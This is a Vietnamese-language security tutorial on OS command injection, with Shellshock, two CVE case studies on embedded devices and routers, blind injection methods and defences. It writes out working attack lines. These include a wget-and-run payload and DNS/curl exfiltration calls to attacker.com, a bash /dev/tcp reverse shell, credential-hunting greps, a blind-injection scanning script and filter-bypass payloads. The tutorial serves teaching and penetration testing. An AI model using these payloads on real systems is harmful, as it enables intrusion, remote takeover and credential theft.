OS Command Injection
Khi nhắc đến các lỗ hổng bảo mật nguy hiểm nhất trong web application, OS Command Injection luôn nằm trong top đầu. Lỗ hổng này không chỉ phổ biến mà còn cực kỳ nghiêm trọng - một payload đơn giản có thể giúp attacker chiếm quyền điều khiển toàn bộ server.
OS Command Injection: Từ Shellshock đến CVE hiện đại
Mở đầu: Shellshock và bài học lịch sử
Năm 2014, cộng đồng bảo mật toàn cầu chấn động trước CVE-2014-6271, hay còn gọi là Shellshock - một lỗ hổng OS Command Injection trong GNU Bash shell. Điều đáng nói là lỗ hổng này đã tồn tại suốt 25 năm mà không ai phát hiện. Hàng triệu server Linux/Unix trên toàn thế giới đột nhiên trở thành mục tiêu dễ dàng. Chỉ cần một HTTP request được craft đúng cách, attacker có thể thực thi arbitrary commands với quyền của web server.
Shellshock không phải là trường hợp đầu tiên, cũng không phải cuối cùng. Cho đến tận năm 2025, chúng ta vẫn tiếp tục ghi nhận các CVE mới liên quan đến OS Command Injection. Vậy tại sao lỗ hổng này vẫn tồn tại phổ biến đến vậy?
OS Command Injection là gì?
OS Command Injection (hay Shell Injection) xảy ra khi application cho phép user input được truyền trực tiếp vào system shell commands mà không có validation đầy đủ. Về bản chất, đây là lỗi thiếu input validation - một trong những nguyên tắc cơ bản nhất trong secure coding.
Khi exploit thành công, attacker có thể:
- Thực thi bất kỳ command nào trên server
- Đọc/ghi/xóa files hệ thống
- Đánh cắp sensitive data (database credentials, API keys, SSH keys)
- Cài đặt backdoor để duy trì access
- Pivot sang các hệ thống khác trong internal network
Impact của lỗ hổng này thường là critical - CVSS score 9-10/10 không phải là hiếm.
Cơ chế hoạt động: Ví dụ thực tế
Giả sử bạn có một trang web cho phép kiểm tra stock của sản phẩm:
https://vulnerable-website.com/stockStatus?productID=381&storeID=29
Chức năng này có thể được implement như sau:
<?php
$productID = $_GET['productID'];
$storeID = $_GET['storeID'];
// Vulnerable code - truyền trực tiếp user input vào system command
system("stockreport.pl $productID $storeID");
?>
Application nhận productID và storeID từ URL parameters, rồi truyền trực tiếp vào shell command. Nếu không có validation, attacker có thể inject thêm commands:
https://vulnerable-website.com/stockStatus?productID=381&storeID=29;whoami
Command thực tế được execute:
stockreport.pl 381 29;whoami
Dấu semicolon (;) ở đây đóng vai trò là command separator trong Unix shell. Kết quả là hai commands được thực thi:
stockreport.pl 381 29(command gốc)whoami(command được inject)
Output trả về:
root
Và bạn vừa biết được application đang chạy với quyền root. Từ đây, attacker có thể tiếp tục inject các commands nguy hiểm hơn.
Shell Metacharacters: Công cụ của attacker
Để chain nhiều commands hoặc modify execution flow, attacker sử dụng các shell metacharacters. Các ký tự này có ý nghĩa đặc biệt trong shell và có thể được abuse để inject commands.
Command separators hoạt động trên cả Unix và Windows:
;- Ngăn cách các commands&- Chạy command ở background&&- AND logic (command 2 chỉ chạy nếu command 1 thành công)|- Pipe (output của command 1 thành input của command 2)||- OR logic (command 2 chạy nếu command 1 fail)
Chỉ hoạt động trên Unix/Linux:
\n- newline`command`- Command substitution với backticks$(command)- Command substitution (modern syntax)
Ví dụ sử dụng pipe:
stockreport.pl 381 29 | cat /etc/passwd
Output của stockreport.pl sẽ được pipe vào cat /etc/passwd, và attacker có thể đọc được user accounts trên hệ thống.
Case Study 1: CVE-2025-34033 - Blue Angel Software Suite
Đây là một lỗ hổng OS Command Injection được public vào tháng 6/2025, ảnh hưởng đến Blue Angel Software Suite chạy trên các embedded Linux devices.
Thông tin CVE:
- CVSS Score: 7.7 (HIGH)
- Affected: Blue Angel Software Suite trên embedded Linux devices
- Vector: Parameter
ping_addrtrongwebctrl.cgiscript
Chi tiết kỹ thuật:
Application cung cấp chức năng ping test qua web interface tại endpoint:
/cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=TARGET
Code phía backend không sanitize parameter ping_addr trước khi pass vào system-level ping command. Điều này cho phép attacker inject arbitrary commands:
Exploit payload:
GET /cgi-bin/webctrl.cgi?action=pingtest_update&ping_addr=127.0.0.1;id
Command được execute:
ping 127.0.0.1;id
Output được reflect trong web interface:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
uid=0(root) gid=0(root) groups=0(root)
Application đang chạy với root privilege. Từ đây attacker có thể:
- Dump system configuration
- Extract credentials
- Install backdoor
- Compromise toàn bộ device
Root cause: Thiếu input validation và sanitization cho network-related parameters. Embedded devices thường bị bỏ quên trong patch management, khiến chúng trở thành mục tiêu dễ dàng.
Case Study 2: CVE-2024-39760 - Wavlink AC3000 Router
CVE này đặc biệt nghiêm trọng với CVSS score 9.8/10 - gần như maximum.
Thông tin CVE:
- CVSS Score: 9.8 (CRITICAL)
- Affected: Wavlink AC3000 M33A8 router
- Vector: Parameter
restart_min_valuetronglogin.cgi - Authentication: Không cần authentication
Chi tiết kỹ thuật:
Multiple OS command injection vulnerabilities tồn tại trong function set_sys_init() của login.cgi. Điểm nguy hiểm nhất là attacker có thể trigger vulnerability mà không cần authenticate.
Vulnerable POST request:
POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded
action=set_sys_init&restart_min_value=1;wget http://attacker.com/shell.sh -O /tmp/s.sh;sh /tmp/s.sh;
Command được inject:
wget http://attacker.com/shell.sh -O /tmp/s.sh
sh /tmp/s.sh
Attacker download và execute một shell script từ remote server của mình. Script này có thể:
- Establish reverse shell connection
- Add persistent backdoor
- Pivot vào internal network
- Modify router configuration để intercept traffic
Impact:
Đây là unauthenticated RCE trên router - một trong những thiết bị quan trọng nhất trong network infrastructure. Sau khi compromise router, attacker có thể:
- Sniff tất cả network traffic
- Perform man-in-the-middle attacks
- Use router làm pivot point vào internal network
- DNS hijacking
- DDoS amplification
Lesson learned: IoT devices và network equipment thường là weak link trong security chain. Many vendors không có secure development lifecycle đầy đủ, và users thường không update firmware thường xuyên.
Blind OS Command Injection: Khi không thấy output
Trong nhiều trường hợp, application không trả về command output trong HTTP response. Đây là blind command injection - khó khai thác hơn nhưng vẫn hoàn toàn possible.
Kỹ thuật 1: Time-based detection
Sử dụng commands gây time delay để confirm vulnerability.
Ví dụ với feedback form:
Giả sử application có form nhận email và message, rồi gửi email đến admin:
mail -s "Feedback" -aFrom:[email protected] [email protected]
Vì output không được return, inject whoami sẽ không có tác dụng. Thay vào đó, sử dụng ping command:
[email protected]||ping -c 10 127.0.0.1||
Trên Windows:
[email protected]||ping -n 10 127.0.0.1||
Command ping với 10 packets sẽ mất khoảng 10 giây. Nếu HTTP response delay 10 giây, vulnerability được confirm.
Python test script:
import requests
import time
url = "https://target.com/feedback"
payloads = [
"[email protected]||sleep 10||",
"[email protected];sleep 10;",
]
for p in payloads:
start = time.time()
r = requests.post(url, data={"email": p, "message": "test"})
elapsed = time.time() - start
if elapsed > 9:
print(f"Vuln: {p} - {elapsed:.2f}s")
Kỹ thuật 2: Output redirection
email=x||whoami > /var/www/html/out.txt||
Navigate: https://target.com/out.txt
Kỹ thuật 3: Out-of-band (OAST)
email=x||nslookup `whoami`.attacker.com||
email=x||curl http://attacker.com/callback||
Data exfiltration qua DNS subdomain.
Post-exploitation Commands
Sau khi có command execution:
Linux reconnaissance:
whoami; id; uname -a; hostname
cat /etc/passwd
ps aux
netstat -antup
find / -name "*.config" 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
Windows:
whoami /all
systeminfo
ipconfig /all
netstat -ano
Reverse shell (bash):
bash -i >& /dev/tcp/attacker.com/4444 0>&1
Listener:
nc -lvnp 4444
Defense Strategies
1. Tránh gọi OS commands
Best practice: Không gọi system commands từ application code.
Bad:
system("ping " . $_GET['ip']);
Good:
import subprocess
subprocess.run(["ping", "-c", "4", user_input])
2. Input Validation (Whitelist)
Bad (Blacklist):
$ip = str_replace([';', '&'], '', $_GET['ip']);
Good (Whitelist):
if (!preg_match('/^[0-9.]+$/', $_GET['ip'])) {
die("Invalid IP");
}
3. Sử dụng Safe APIs
// PHP
$ip = escapeshellarg($_GET['ip']);
# Python - subprocess with list
subprocess.run(["ping", "-c", "4", ip])
4. Principle of Least Privilege
- Chạy application với non-root user
- Không run web server as root
- Container isolation
- SELinux/AppArmor policies
5. WAF & Monitoring
Deploy WAF với OWASP rules và monitor suspicious patterns:
grep -E "(;|\||whoami|passwd)" /var/log/apache2/access.log
Testing Methodology
Discovery Phase
Identify parameters tương tác với OS:
filename,path,ip,domaincommand,action,exec
Fuzzing với payloads:
;whoami;
||id||
`uname -a`
$(whoami)
Bypass Techniques
Quotes & encoding:
;wh'o'ami;
;w\ho\am\i;
;$(echo d2hvYW1p|base64 -d);
Wildcards:
;/bin/c?t /etc/pass??;
Kết luận
OS Command Injection vẫn là một trong những lỗ hổng nguy hiểm và phổ biến nhất. Từ Shellshock năm 2014 đến các CVE mới năm 2025, vấn đề này chưa hề biến mất.
Key Takeaways:
- KHÔNG gọi OS commands từ application nếu có thể
- LUÔN validate input với whitelist approach
- Principle of least privilege - chạy services với quyền thấp nhất
- Defense in depth - nhiều layers bảo vệ
- Regular security audits và penetration testing
Embedded devices và IoT thường là target dễ bị tấn công do thiếu patch management và secure development practices. Nhìn vào CVE-2025-34033 và CVE-2024-39760, ta thấy pattern này vẫn lặp lại.
Trong vai trò security researcher hoặc penetration tester, việc hiểu sâu về OS Command Injection giúp identify và remediate vulnerabilities trước khi attackers khai thác. Nhưng knowledge này phải được sử dụng ethical và legal - chỉ test trên systems mà bạn có permission.
References
- PortSwigger Web Security Academy: OS Command Injection
- OWASP: Command Injection
- CVE-2025-34033: Blue Angel Software Suite
- CVE-2024-39760: Wavlink AC3000 Router
- CVE-2014-6271: Shellshock
Disclaimer: Bài viết này phục vụ mục đích giáo dục về information security. Mọi hành vi tấn công vào hệ thống không được phép là vi phạm pháp luật.
Happy hacking, đừng đi viện.